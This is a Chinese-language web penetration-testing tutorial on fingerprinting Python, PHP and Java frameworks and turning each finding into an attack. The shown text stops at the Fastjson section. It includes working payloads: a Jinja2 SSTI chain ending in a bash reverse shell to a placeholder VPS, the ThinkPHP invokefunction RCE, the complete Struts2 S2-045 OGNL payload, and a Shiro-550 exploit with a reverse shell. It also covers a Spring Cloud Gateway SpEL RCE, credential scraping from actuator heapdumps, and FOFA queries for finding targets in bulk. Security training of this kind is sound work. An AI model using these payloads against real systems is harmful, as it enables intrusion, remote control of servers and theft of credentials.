在 Web 渗透测试的信息收集阶段,许多人习惯于使用在线指纹识别平台(如潮汐指纹库、Wappalyzer)对目标进行 CMS 识别。但当目标不是 WordPress、DedeCMS 这类 PHP 开源程序,而是由 Python、Java、Go 等语言开发的应用,或部署在内网环境无法联网查询时,传统工具的局限性就会暴露。
本文将从概念到实战,逐一拆解 Django、FastAPI、ThinkPHP、Laravel、Shiro、Struts2、SpringBoot、Fastjson、Solr、Log4j2 等主流框架与组件的识别方法,并配合具体的数据包示例、命令行操作和漏洞利用演示,讲清楚"识别了框架之后如何转化为攻击面"。
文章目录
-
- 一、先厘清概念:框架与组件的本质区别
-
- 1.1 框架(Framework)
- 1.2 组件(Component / Library)
- 1.3 三种开发架构与安全测试策略
- 二、Python 框架识别
-
- 2.1 Django
-
- 识别特征 ①:CSRF Token(最可靠)
- 识别特征 ②:Debug 页面(配置失误)
- 识别特征 ③:默认路径
- 框架版本推断
- Django 识别后的攻击方向
- 2.2 FastAPI
-
- 识别特征 ①:自动生成的交互式文档(极强指纹)
- 识别特征 ②:响应头中的服务器信息
- 识别特征 ③:OpenAPI JSON 文件
- FastAPI 识别后的攻击方向
- 2.3 Flask
-
- 识别特征 ①:Server 响应头(最直接的指纹)
- 识别特征 ②:Session Cookie 结构(核心指纹)
- 识别特征 ③:Debug 模式的多种探测方式
- 识别特征 ④:Jinja2 模板引擎指纹
- 识别特征 ⑤:Flask 特有扩展的指纹
- Flask 识别后的攻击方向
- 利用示例 ①:Flask Session 伪造(SECRET_KEY 泄露)
- 利用示例 ②:Jinja2 SSTI → RCE 完整链
- Flask 版本与 CVE
- 三、PHP 框架识别
-
- 3.1 ThinkPHP
-
- 识别特征 ①:HTTP 响应头
- 识别特征 ②:Cookie 中的 CSRF Token
- 识别特征 ③:默认图标 MD5 指纹
- 识别特征 ④:URL 路由模式
- 版本与 CVE 对照(部分)
- 利用示例:ThinkPHP 5.0.23 RCE
- 3.2 Laravel
-
- 识别特征 ①:Cookie 名称
- 识别特征 ②:CSRF Token 字段名
- 识别特征 ③:`.env` 文件泄露(常见配置失误)
- 识别特征 ④:Debug 模式错误页面
- 识别特征 ⑤:路由签名
- 利用举例:`APP_KEY` 泄露 → 反序列化 RCE
- Laravel 版本与 CVE 对照(部分)
- 3.3 Yii
-
- 识别特征 ①:CSRF Token Cookie
- 识别特征 ②:Debug 工具栏
- 四、Java 框架与组件识别(重中之重)
-
- 4.1 Apache Shiro —— "识别即利用"
-
- 识别特征:`rememberMe=deleteMe`
- 漏洞利用完整演示(Shiro-550)
- Shiro 版本差异
- FOFA 批量寻找 Shiro 目标
- 4.2 Struts2 —— 老牌 RCE 之王
-
- 识别特征 ①:URL 后缀
- 识别特征 ②:表单中的 struts 命名空间
- 识别特征 ③:异常页面
- 利用示例:S2-045(基于 Content-Type 头的 RCE)
- Struts2 版本与经典 CVE
- 4.3 SpringBoot —— 当代 Java 应用的标配
-
- 识别特征 ①:Whitelabel Error Page(经典识别标志)
- 识别特征 ②:默认 favicon.ico
- 识别特征 ③:Actuator 端点泄露(危险性最高)
- 利用示例:/actuator/env 泄露数据库密码
- 利用示例:/actuator/heapdump 提取明文密码
- 识别特征 ④:Spring Cloud Gateway(CVE-2022-22947)
- 4.4 Fastjson —— "看不见的炸弹"
-
- 识别方法:黑盒数值精度测试
- Fastjson 版本与 AutoType 绕过
- 利用示例:Fastjson 1.2.47 RCE 探测
- 4.5 Apache Solr
-
- 识别特征
- Solr 版本探测
- 典型漏洞
- 4.6 Log4j2 —— 需要探测而不是"看"
-
- 识别方法:JNDI 外带注入探测
- 五、内网环境识别方案:GotoScan
-
-
- GotoScan 使用示例
-
- 六、信息收集全景图
-
- 6.1 WAF 识别
- 6.2 CDN 识别
- 6.3 蜜罐识别
- 七、总结:从识别到利用的完整思路
一、先厘清概念:框架与组件的本质区别
很多新手会把"框架"和"组件"混为一谈,但它们在安全测试中的关注点完全不同。
1.1 框架(Framework)
框架是一套代码骨架,封装了路由分发、数据库 ORM、表单校验、CSRF 防护等通用功能。开发者基于框架二次开发时,只需填充业务逻辑即可。
安全含义: 框架自身的安全机制(如 ThinkPHP 的 I() 函数过滤、Django 的 ORM 防注入)决定了应用的防御基线。如果框架的某个版本存在 RCE 漏洞,所有使用该版本的应用都可能被打穿。
1.2 组件(Component / Library)
组件是单一功能的第三方代码包,比如 JSON 解析(Fastjson、Jackson)、日志记录(Log4j2)、搜索服务(Solr、Elasticsearch)。一个项目通常会引入数十个组件。
安全含义: 框架安全 ≠ 应用安全。一个用 Django 写的应用,如果引入了一个存在反序列化漏洞的 JSON 解析组件,依然可以被拿下。
1.3 三种开发架构与安全测试策略
理解目标的开发模式,决定了你把时间花在哪里:
| 纯手写代码 | 早期 PHP 脚本、小型内部工具 | 开发者可能未做任何过滤,SQL 注入、文件上传等基础漏洞命中率高 |
| 基于框架 | 企业 Web 系统、API 服务 | 优先排查框架的已知 CVE(如 ThinkPHP 5.x RCE),再看开发者是否绕过框架安全机制 |
| 框架 + 组件 | 当代微服务架构(SpringBoot + Fastjson + Log4j) | 攻击面来自三层:框架漏洞 + 组件漏洞 + 配置暴露(如 actuator 泄露) |
第三种是当下的主流——你能拼出越完整的技术栈画像,攻击路线就越精准。
二、Python 框架识别
Python Web 框架以简洁著称,但每种都有独特的指纹。
2.1 Django
Django 是 Python 界最成熟的全栈框架,GitHub 星标 80k+,被 Instagram、Pinterest、Disqus 等大型站点使用。
识别特征 ①:CSRF Token(最可靠)
Django 默认对所有 POST 请求启用 CSRF 保护,中间件会在每个响应的 Cookie 中写入 csrftoken。
手工检测:
curl -I https://target.com 2>&1 | grep -i csrf
正常响应示例:
HTTP/1.1 200 OK
Set-Cookie: csrftoken=abc123def456…; expires=…
同时在 HTML 表单中搜索:
curl -s https://target.com/login/ | grep -o 'csrfmiddlewaretoken.*value="[^"]*"'
如果页面是 Django 渲染的模板,隐藏的 <input> 标签里会带有 csrfmiddlewaretoken:
<input type="hidden" name="csrfmiddlewaretoken" value="…">
识别特征 ②:Debug 页面(配置失误)
Django 开启 DEBUG=True 时,访问不存在的路径会返回包含完整调用栈的黄色错误页面,直接暴露文件名、变量值和配置信息。
检测方法:
curl -s https://target.com/this-page-does-not-exist-12345/ | grep -i "django\\|traceback\\|settings"
如果返回 HTML 中包含 <div id="summary"> 和 <pre class="exception_value">,可 100% 确认为 Django 且 DEBUG 模式开启,此时存在严重的信息泄露。
识别特征 ③:默认路径
curl -s -o /dev/null -w "%{http_code}" https://target.com/admin/
# 返回 200 或 302 → 确认为 Django(Django 自带的 /admin/ 后台)
框架版本推断
Django DEBUG 页面有时会直接打印版本号。此外,可以通过不同版本在 SECRET_KEY 生成方式、中间件名称上的差异被动识别:
| 2.2.x | AuthenticationMiddleware 在 SessionMiddleware 之前 |
| 3.x | 引入 ASGIHandler,django.core.signing 增加 TimestampSigner |
| 4.x | 默认 CSRF 策略更严格,csrf_cookie_samesite 默认为 Lax |
Django 识别后的攻击方向
- DEBUG 模式 → 泄露 SECRET_KEY → 可伪造 Session、签名数据
- 已知 CVE → CVE-2021-35042(QuerySet.order_by SQL 注入,特定场景下可利用)
- /admin/ 弱口令 → Django Admin 后台爆破
- SECRET_KEY 泄露 → 反序列化 RCE(如果使用了 PickleSerializer)
2.2 FastAPI
FastAPI 是近年来增长速度最快的 Python Web 框架,专长是构建 RESTful API 和微服务。
识别特征 ①:自动生成的交互式文档(极强指纹)
FastAPI 默认自动生成 Swagger UI 和 ReDoc 文档页面,这是最明显的识别特征:
# Swagger UI(默认路径)
curl -s https://api.target.com/docs | grep -i "swagger\\|fastapi"
# ReDoc(备用路径)
curl -s https://api.target.com/redoc | grep -i "redoc\\|fastapi"
# OpenAPI 规范 JSON
curl -s https://api.target.com/openapi.json | jq '.info'
正常响应示例(/docs 页面):
<title>FastAPI – Swagger UI</title>
…
<script src="https://cdn.jsdelivr.net/npm/swagger-ui-dist@4/swagger-ui-bundle.js"></script>
识别特征 ②:响应头中的服务器信息
FastAPI 底层使用 Uvicorn 或 Hypercorn 作为 ASGI 服务器:
curl -I https://api.target.com 2>&1 | grep -i "server"
可能返回:
Server: uvicorn
识别特征 ③:OpenAPI JSON 文件
curl -s https://api.target.com/openapi.json | head -20
返回内容通常以:
{
"openapi": "3.0.2",
"info": {
"title": "FastAPI",
"version": "0.1.0"
}
}
注意: 生产环境可能通过反向代理隐藏了 /docs、/openapi.json 路径,此时需要结合报错信息的 JSON 结构来推断。
FastAPI 识别后的攻击方向
- /docs 暴露 → API 接口全量暴露,可遍历所有端点及参数
- /openapi.json → 获得完整的 API Schema(请求方法、参数类型、认证方式)
- Pydantic 校验绕过 → 如果自定义了校验逻辑,可能存在类型混淆
- 异步安全 → Race Condition(并发请求导致的竞态条件)在异步框架中更容易触发
2.3 Flask
Flask 是 Python 生态中 Star 数仅次于 Django 的微框架,大量用于中小型 Web 应用、API 服务和内部工具。相比 Django 的"大而全",Flask 的"微内核 + 扩展"设计让它在渗透中的识别手段更加多样化。
识别特征 ①:Server 响应头(最直接的指纹)
Flask 内置的开发服务器 Werkzeug 会在响应头中留下明显签名:
curl -I https://target.com 2>&1 | grep -i "Server"
典型返回值:
Server: Werkzeug/2.0.2 Python/3.9.7
不同版本的 Werkzeug 对应不同的 Python 和 Flask 版本组合:
| Werkzeug/0.16.1 Python/3.7.7 | Flask 1.1.x |
| Werkzeug/2.0.2 Python/3.9.7 | Flask 2.0.x |
| Werkzeug/3.0.1 Python/3.12.0 | Flask 3.0.x |
注意: 生产环境中如果使用了 Gunicorn、uWSGI 等正式 WSGI 服务器做前置,Server 头会被覆盖为 gunicorn 或 nginx,此时不能单靠 Server 头判断。
识别特征 ②:Session Cookie 结构(核心指纹)
Flask 的 Session 默认使用 itsdangerous 库进行签名,Cookie 名为 session,值格式固定:
curl -I https://target.com 2>&1 | grep -i "Set-Cookie"
返回示例:
Set-Cookie: session=eyJ1c2VybmFtZSI6Imd1ZXN0In0.Z0RjXw.abc123def456…; HttpOnly; Path=/
Flask Session 的结构破译:
Flask 默认 Session Cookie 是 Base64 编码 + 时间戳 + HMAC 签名,以 . 分隔:
{BASE64(JSON_PAYLOAD)}.{TIMESTAMP}.{HMAC_SIGNATURE}
拆解一个真实的 Flask Session:
# 原始 Cookie 值
eyJ1c2VybmFtZSI6Imd1ZXN0In0.Z0RjXw.abc123def456...
# 第一部分 — Base64 解码
echo "eyJ1c2VybmFtZSI6Imd1ZXN0In0=" | base64 -d
# 输出: {"username":"guest"}
# 第二部分 — Unix 时间戳(通过 base64 编码)
echo "Z0RjXw==" | base64 -d | xxd -p
# 输出: 6744635f → 解码为时间戳
——这个指纹的用途: 如果 Cookie 值以 eyJ 开头({" 的 Base64 编码)且用 . 分成三部分,基本可以确认为 Flask 的 itsdangerous 签名 Session。
识别特征 ③:Debug 模式的多种探测方式
Flask 的 Debug 模式是最危险的配置失误之一。以下逐一演示探测方法:
方法一:直接访问 /console 路径
curl -s -o /dev/null -w "%{http_code}" https://target.com/console
# 返回 200 → Werkzeug Debugger 交互式 Python Shell 暴露!
Werkzeug Debugger 提供了一个基于网页的交互式 Python 控制台。如果返回了带有 PIN 码输入框的页面:
<h1>Console // Werkzeug Debugger</h1>
…
<input type="text" name="pin" placeholder="Console PIN">
拿到 PIN 码 = 获得服务器上的交互式 Python Shell = 直接 RCE。 这是 Flask Debug 模式最致命的后果。
方法二:触发 404 观察调试页面
curl -s "https://target.com/this-page-absolutely-does-not-exist-1298374" | grep -i "werkzeug\\|traceback\\|debugger\\|jinja"
如果返回包含以下内容的完整 Traceback 页面,说明开启了 Debug 模式:
<title>werkzeug.exceptions.NotFound …</title>
…
<div class="traceback">
…
<li>File "…/site-packages/flask/app.py", line …</li>
</div>
这会直接暴露:
- 服务器上的绝对文件路径 — 可推断部署架构
- Flask 版本 — 从 traceback 中 import 路径推断
- 部分源代码片段 — Traceback 上下文显示相邻代码
方法三:向已有路由提交恶意数据触发异常
如果正常访问返回 200 但覆盖了错误页面,可以故意制造异常让 Debug 模式暴露:
# 向期望接收整数的参数传入字符串
curl -s "https://target.com/api/user/abc" | grep -i "traceback\\|werkzeug\\|typeerror"
# 向期望 JSON 的接口发送非法数据
curl -X POST https://target.com/api/login \\
-H "Content-Type: application/json" \\
-d 'this is not json' | grep -i "traceback"
识别特征 ④:Jinja2 模板引擎指纹
Flask 默认使用 Jinja2 作为模板引擎,Jinja2 的语法特征可以辅助识别:
检测 SSTI(服务端模板注入)的同时亦为识别手段:
# 向任何会回显的参数注入 Jinja2 表达式
curl -s "https://target.com/search?q=\\{\\{7*7\\}\\}"
curl -s "https://target.com/greet?name=\\{\\{config\\}\\}"
- 如果返回 49 → 确认 Jinja2 模板引擎 → 极大可能是 Flask(虽然 FastAPI、Django 也可能使用 Jinja2,但 Flask 是默认且最典型的场景)
- 如果返回 None 或 Flask 配置字典 → 同时确认为 Flask + 存在 SSTI 漏洞
识别特征 ⑤:Flask 特有扩展的指纹
许多 Flask 应用会使用第三方扩展,扩展的痕迹可辅助确权:
Flask-SQLAlchemy(ORM): 在报错页面中可能出现 sqlalchemy.exc 或 flask_sqlalchemy
Flask-Login(认证): Cookie 可能包含 remember_token 字段(不同于 session 的标准 Cookie):
curl -I https://target.com 2>&1 | grep -i "remember"
# Set-Cookie: remember_token=xxx|yyy; …
Flask-RESTful / Flask-RESTX: 自动生成 Swagger 文档,类似 FastAPI 的 /docs,路径通常为 /swagger.json 或 /api/spec:
curl -s https://target.com/swagger.json | jq '.info.title'
# 可能返回 API 名称,form-data 中可能包含 "flask-restx"
Flask 识别后的攻击方向
| Werkzeug Debugger RCE | DEBUG=True + /console 可访问 | 获取/爆破 PIN 码后执行 Python 代码 |
| Session 篡改 | SECRET_KEY 泄露 | Flask-Unsign 工具伪造 Session Cookie |
| SSTI → RCE | Jinja2 模板注入 | {{ config }} → {{ lipsum.__globals__['os'].popen('id').read() }} |
| 源码泄露 | Debug 模式 Traceback | 从错误页面提取文件路径和代码片段 |
| .git 泄露 | Flask 项目部署时 .git 目录未剔除 | GitHack 恢复源码 → 找到 SECRET_KEY、数据库密码 |
利用示例 ①:Flask Session 伪造(SECRET_KEY 泄露)
如果通过信息泄露(如 .env 文件、源码泄露、Debug Traceback)获取了 Flask 的 SECRET_KEY,可以使用 flask-unsign 工具伪造 Session:
# 解码当前的 Session Cookie
flask-unsign –decode –cookie 'eyJ1c2VybmFtZSI6Imd1ZXN0In0.Z0RjXw.abc123…'
# 用泄露的 SECRET_KEY 伪造管理员 Session
flask-unsign –sign –cookie '{"username":"admin","is_admin":true}' –secret 'leaked_secret_key_here'
# 输出: eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNfYWRtaW4iOnRydWV9.Z0Rk…
然后将伪造的 Cookie 替换浏览器中的 session 值,刷新页面即可以管理员身份登录。
利用示例 ②:Jinja2 SSTI → RCE 完整链
假设在 https://target.com/search?q= 参数上存在 Jinja2 SSTI:
# Step 1: 确认 SSTI 存在
curl -s "https://target.com/search?q=\\{\\{7*7\\}\\}"
# 返回: 结果: 49 ← 确认!
# Step 2: 读取 Flask 配置
curl -s "https://target.com/search?q=\\{\\{config\\}\\}"
# 返回: <Config {'ENV': 'production', 'DEBUG': False, 'SECRET_KEY': 'mysecret', …}>
# → 拿到 SECRET_KEY
# Step 3: 利用 Jinja2 内置对象执行系统命令
curl -s "https://target.com/search?q=\\{\\{lipsum.__globals__['os'].popen('id').read()\\}\\}"
# 返回: uid=1000(flask) gid=1000(flask) groups=1000(flask)
# → SSTI 升级为 RCE
# Step 4: 建立反弹 Shell
curl -s "https://target.com/search?q=\\{\\{lipsum.__globals__['os'].popen('bash -c \\"bash -i >& /dev/tcp/YOUR_VPS/4444 0>&1\\"').read()\\}\\}"
Flask 版本与 CVE
| < 0.12.3 | Debugger PIN 被默认设置为 0000 | 弱 PIN 码 |
| < 1.0 | CVE-2018-1000656 | 通过恶意 JSON Payload 导致 DoS |
| < 2.0 | Werkzeug Debugger PIN 计算方式可被猜解(CVE-2019-14806) | PIN 码绕过 |
| 所有 | 生产环境不应开启 DEBUG=True | 配置失误 → RCE |
核心警告: Flask 的 DEBUG=True + /console 可访问 不是"漏洞"而是"灾难"。当你看到那个 PIN 码输入框时,目标服务器实际上已经在给你开门了——只需 PIN 码(常可爆破或通过信息泄露获取),就能在浏览器中执行任意 Python 代码。
三、PHP 框架识别
PHP 框架识别相对成熟,指纹库也最完善,但关键在于识别之后如何快速定位漏洞版本。
3.1 ThinkPHP
ThinkPHP 是国内使用量最大的 PHP 框架,尤其大量用于政企系统、电商平台、教育系统。
识别特征 ①:HTTP 响应头
curl -I https://target.com 2>&1
典型返回值:
HTTP/1.1 200 OK
X-Powered-By: ThinkPHP
Content-Type: text/html; charset=utf-8
识别特征 ②:Cookie 中的 CSRF Token
ThinkPHP 内置 CSRF 防护,默认 Cookie 名为 __token__:
curl -I https://target.com/login/ 2>&1 | grep -i "token"
返回:
Set-Cookie: __token__=d2f8b3a1e4…
在 HTML 表单中搜索:
curl -s https://target.com/login/ | grep -o '__token__[^"]*'
识别特征 ③:默认图标 MD5 指纹
ThinkPHP 所有版本默认的 favicon.ico 文件具有固定哈希值,可在 FOFA 中利用这点精准搜索:
# FOFA 语法
body="ThinkPHP" && favicon_hash="1165838194"
识别特征 ④:URL 路由模式
ThinkPHP 5.x/6.x 的 URL 典型模式:
http://target.com/index.php/模块/控制器/方法
http://target.com/index.php?s=模块/控制器/方法
识别举例——访问不存在的控制器时,ThinkPHP 的报错信息会暴露框架版本:
# 故意访问一个不存在的控制器
http://target.com/index.php?s=admin/index/test123456
如果页面返回类似以下内容,即可确认 ThinkPHP 及版本:
ThinkPHP V5.0.24 { 十年磨一剑-为API开发设计的高性能框架 }
版本与 CVE 对照(部分)
| 5.0.x (< 5.0.24) | CVE-2018-20062 | RCE | ?s=index/\\think\\app/invokefunction |
| 5.1.x (< 5.1.32) | – | RCE | ?s=index/think\\request/input |
| 5.0.x | CVE-2019-9082 | RCE | ?s=index/think\\request/cache |
| 6.0.x (< 6.0.14) | – | 反序列化 | session 驱动利用 |
利用示例:ThinkPHP 5.0.23 RCE
确认目标为 ThinkPHP 5.0.23 后,可以直接发送以下请求验证漏洞:
GET /index.php?s=index/think\\app/invokefunction&function=phpinfo&vars[0]=1 HTTP/1.1
Host: target.com
如果页面返回 phpinfo() 的输出,说明 RCE 利用成功。
# 执行系统命令 whoami
curl -s "https://target.com/index.php?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami"
3.2 Laravel
Laravel 是全球 PHP 生态中 Star 数最高的框架,在海外企业和国内外企中极为常见。
识别特征 ①:Cookie 名称
Laravel 的 Session Cookie 默认名为 laravel_session:
curl -I https://target.com 2>&1 | grep -i "laravel"
返回:
Set-Cookie: laravel_session=eyJpdiI6I…; path=/; httponly
识别特征 ②:CSRF Token 字段名
Laravel 的 CSRF Token 在 HTML 源码中的固定字段名为 csrf-token(小写,连字符连接):
curl -s https://target.com/login | grep -i "csrf-token"
返回示例:
<meta name="csrf-token" content="abc123def456…">
识别特征 ③:.env 文件泄露(常见配置失误)
Laravel 将敏感配置存储在项目根目录的 .env 文件中,如果 Nginx/Apache 配置不当,该文件可能被直接访问:
curl -s https://target.com/.env
泄露后可能得到:
APP_NAME=Laravel
APP_ENV=local
APP_KEY=base64:abcdef123456… # 应用加密密钥
APP_DEBUG=true
DB_HOST=127.0.0.1
DB_DATABASE=production_db
DB_USERNAME=root
DB_PASSWORD=MyP@ssw0rd123 # 数据库密码
REDIS_PASSWORD=…
AWS_ACCESS_KEY_ID=…
APP_KEY 泄露是 Laravel 最致命的信息泄露——攻击者可以解密所有加密的 Cookie/Session 数据,甚至可以构造反序列化 Payload。
识别特征 ④:Debug 模式错误页面
Laravel 开启 APP_DEBUG=true 时,访问不存在的路径会返回 Whoops 错误页面,包含完整调用栈、环境变量、请求参数:
curl -s "https://target.com/this-route-does-not-exist-12345"
返回页面包含:
- Environment & details: 块 → 显示 PHP 版本、Laravel 版本
- Request 块 → 显示请求头、参数
- Stack Trace → 完整的文件路径暴露
识别特征 ⑤:路由签名
Laravel 8+ 的默认路由 / 返回的 HTML 可能包含以下标识:
<link href="/css/app.css?id=…" rel="stylesheet">
其中 ?id= 的值为 Mix 的版本哈希,这是 Laravel Mix 构建系统特有的模式。
利用举例:APP_KEY 泄露 → 反序列化 RCE
确认 APP_KEY 泄露后,可以使用 phpggc 生成 Laravel 专用反序列化 Payload:
phpggc Laravel/RCE1 system whoami
将生成的 Payload 作为加密 Cookie 发送,即可触发反序列化 RCE。
Laravel 版本与 CVE 对照(部分)
| < 8.4.2 | CVE-2021-3129 | RCE(Ignition debug 组件) |
| < 8.6.12 | CVE-2021-43617 | 文件上传绕过 |
| < 5.5.49 | CVE-2020-19316 | 反序列化 RCE |
3.3 Yii
Yii(Yes It Is)是老牌高性能 PHP 框架,在政府和大型企业应用中仍有一定存量。
识别特征 ①:CSRF Token Cookie
curl -I https://target.com 2>&1 | grep -i "YII"
返回:
Set-Cookie: YII_CSRF_TOKEN=abcdef123456…; path=/
识别特征 ②:Debug 工具栏
Yii 的 Debug 模块在页面底部渲染一个蓝色工具栏,包含请求信息、SQL 查询日志、配置参数:
curl -s https://target.com | grep -i "yii-debug-toolbar"
如果 Debug 模式开启,页面源码中会包含:
<div id="yii-debug-toolbar" …>
…
<!– 包含所有执行的 SQL 语句、请求参数 –>
四、Java 框架与组件识别(重中之重)
Java 生态是整个 Web 渗透中攻击面最大的领域。一个典型的 SpringBoot 应用可能同时引入 50+ 第三方 Jar 包,每个都可能是突破口。
4.1 Apache Shiro —— “识别即利用”
Shiro 是 Java 界最流行的身份认证框架,但它的"记住我"功能长期存在反序列化漏洞(Shiro-550/Shiro-721),一度被称为 Java 安全的"万能钥匙"。
识别特征:rememberMe=deleteMe
Shiro 的唯一识别标志是 Cookie 中的 rememberMe 字段。
当用户未勾选"记住我"登录时,服务器仍可能在响应中返回一个空值:
curl -I https://target.com/login 2>&1 | grep -i "rememberMe"
返回:
Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0
当用户勾选了"记住我",Cookie 中会有加密后的 Base64 值:
Cookie: rememberMe=xg6rF7qK…(Base64 密文)
任何一个 HTTP 响应中包含 rememberMe=deleteMe,即可 100% 确认目标使用了 Apache Shiro。
漏洞利用完整演示(Shiro-550)
Step 1:确认 Shiro 存在
curl -I https://target.com/login 2>&1 | grep -i "rememberMe"
# Set-Cookie: rememberMe=deleteMe ← 确认!
Step 2:使用利用工具生成 Payload
使用 ShiroExploit 或 shiro_attack 工具,选择 Shiro-550 模式,填入目标 URL 和 VPS 监听地址:
# 在 VPS 上启动监听
nc -lvvp 8888
# 使用工具生成并发送反序列化 Payload
java -jar shiro_attack.jar -u https://target.com -m shiro-550 -c "bash -i >& /dev/tcp/YOUR_VPS_IP/8888 0>&1"
Step 3:获得反弹 Shell
# VPS 端收到连接
connect to [YOUR_VPS_IP] from target.com [TARGET_IP] 54321
bash: no job control in this shell
bash-4.2$ whoami
web
Shiro 版本差异
| < 1.2.4 | Shiro-550 | 默认硬编码 Key:kPH+bIxk5D2deZiIxcaaaA== |
| 1.2.4 – 1.4.1 | Shiro-550 | 开发者可能未修改默认 Key |
| < 1.7.1 | Shiro-721 | Padding Oracle 攻击(需要合法的 rememberMe Cookie) |
| ≥ 1.10.0 | — | 默认生成随机 Key,但仍可能误配 |
FOFA 批量寻找 Shiro 目标
header="rememberMe=deleteMe" && country="CN"
4.2 Struts2 —— 老牌 RCE 之王
Apache Struts2 是最臭名昭著的 Java MVC 框架,S2-001 到 S2-062 在历史上累计爆出数十个 OGNL 表达式注入漏洞,几乎都直通 RCE。
识别特征 ①:URL 后缀
Struts2 的路由默认为 .action 或 .do 后缀(当然可以被自定义改掉):
# 尝试访问
curl -I https://target.com/login.action
curl -I https://target.com/user/register.do
识别特征 ②:表单中的 struts 命名空间
Struts2 标签渲染后的 HTML 会带有特定命名空间前缀:
<!– Struts2 <s:form> 标签渲染后 –>
<form id="login" name="login" action="/login.action" method="post">
识别特征 ③:异常页面
Struts2 在报错时可能返回带 struts2 关键字的异常信息:
curl -s "https://target.com/login.action?a='b" | grep -i "struts\\|ognl"
利用示例:S2-045(基于 Content-Type 头的 RCE)
S2-045 影响了大量 Struts2 版本,漏洞点在于 Jakarta Multipart 解析器处理 Content-Type 头时触发 OGNL 注入:
curl -v -H "Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" https://target.com/login.action
如果返回 whoami 的执行结果(当前用户名),说明 RCE 成功。
Struts2 版本与经典 CVE
| S2-016 | 2.3.x | redirect: 前缀 OGNL 注入 |
| S2-032 | 2.3.20–2.3.28 | method: 前缀 RCE |
| S2-045 | 2.3.5–2.3.31, 2.5–2.5.10 | Content-Type 头 OGNL 注入 |
| S2-046 | 2.3.5–2.3.31, 2.5–2.5.10 | 文件名 OGNL 注入 |
| S2-057 | 2.3–2.3.34, 2.5–2.5.16 | alwaysSelectFullNamespace 为 true 时 URL RCE |
| S2-059 | 2.0.0–2.5.20 | 标签属性 OGNL 二次解析 |
| S2-061 | 2.0.0–2.5.25 | 与 S2-059 相关,绕过修复 |
| S2-062 | 2.0.0–2.5.29 | 标签属性 OGNL 注入 |
4.3 SpringBoot —— 当代 Java 应用的标配
SpringBoot 占据了 Java Web 开发的大半壁江山,其指纹丰富程度也最高。
识别特征 ①:Whitelabel Error Page(经典识别标志)
SpringBoot 在未自定义错误页面时,返回的默认错误页具有强烈辨识度:
curl -s "https://target.com/this-page-not-exist-1298347"
返回示例:
<html>
<body>
<h1>Whitelabel Error Page</h1>
<p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p>
<div id="created">Mon Jun 15 09:23:45 CST 2026</div>
<div>There was an unexpected error (type=Not Found, status=404).</div>
</body>
</html>
关键词 Whitelabel Error Page 是 SpringBoot 的独有指纹。
识别特征 ②:默认 favicon.ico
SpringBoot 的默认叶子图标具有固定的 MD5 哈希值:
# 下载 favicon.ico
curl -s https://target.com/favicon.ico -o /tmp/favicon.ico
# 计算 MD5
md5sum /tmp/favicon.ico
# 默认值: 0488faca4c19046b94d07c3ee83cf9d6
在 FOFA/Shodan 中用图标哈希批量搜索:
# FOFA 语法
favicon_hash="0488faca4c19046b94d07c3ee83cf9d6" && country="CN"
识别特征 ③:Actuator 端点泄露(危险性最高)
SpringBoot Actuator 的 /actuator 端点默认暴露大量内部信息:
# 枚举常见端点
curl -s https://target.com/actuator
curl -s https://target.com/actuator/env
curl -s https://target.com/actuator/mappings
curl -s https://target.com/actuator/heapdump
curl -s https://target.com/actuator/health
curl -s https://target.com/actuator/info
| /actuator/env | 环境变量(可能包含数据库密码、API Key) | 🔴 严重 |
| /actuator/heapdump | JVM 堆转储(可提取明文密码、Session) | 🔴 严重 |
| /actuator/mappings | 所有 API 路由映射 | 🟡 高 |
| /actuator/beans | Spring Bean 列表(暴露使用的组件) | 🟡 高 |
| /actuator/configprops | 配置属性(可能含凭据) | 🔴 严重 |
| /actuator/logfile | 应用日志文件 | 🟡 高 |
| /actuator/gateway | Spring Cloud Gateway 路由规则 | 🟡 高 |
利用示例:/actuator/env 泄露数据库密码
curl -s https://target.com/actuator/env | jq '.propertySources[] | select(.name | contains("application")) | .properties'
返回:
{
"spring.datasource.url": { "value": "jdbc:mysql://10.0.1.50:3306/prod_db" },
"spring.datasource.username": { "value": "root" },
"spring.datasource.password": { "value": "Pr0d_DB_P@ss!" },
"redis.password": { "value": "Redis_S3cret_2026" },
"aliyun.oss.access-key": { "value": "LTAI5t…" }
}
利用示例:/actuator/heapdump 提取明文密码
使用 arthas 或 Eclipse Memory Analyzer (MAT) 分析下载的 heapdump 文件:
# 下载 heapdump
curl -s https://target.com/actuator/heapdump -o heapdump.bin
# 搜索明文密码
strings heapdump.bin | grep -i "password=" | head -20
strings heapdump.bin | grep -i "Bearer " | head -20
strings heapdump.bin | grep -i "Authorization:" | head -20
识别特征 ④:Spring Cloud Gateway(CVE-2022-22947)
如果目标使用 Spring Cloud Gateway,且在 Actuator 中暴露了 /gateway 端点,可以构造路由实现 RCE:
# 利用 CVE-2022-22947 注入 SpEL 表达式
curl -X POST https://target.com/actuator/gateway/routes/evil \\
-H "Content-Type: application/json" \\
-d '{
"id": "evil",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\"whoami\\"}).getInputStream()))}"
}
}],
"uri": "http://localhost"
}'
# 刷新路由,触发 SpEL 表达式执行
curl -X POST https://target.com/actuator/gateway/refresh
4.4 Fastjson —— “看不见的炸弹”
Fastjson 是阿里巴巴开源的 JSON 解析库,在国内 Java 项目中使用率极高,但历史上反序列化漏洞频发(从 1.2.24 打到 1.2.83,累计数十个 CVE)。
识别方法:黑盒数值精度测试
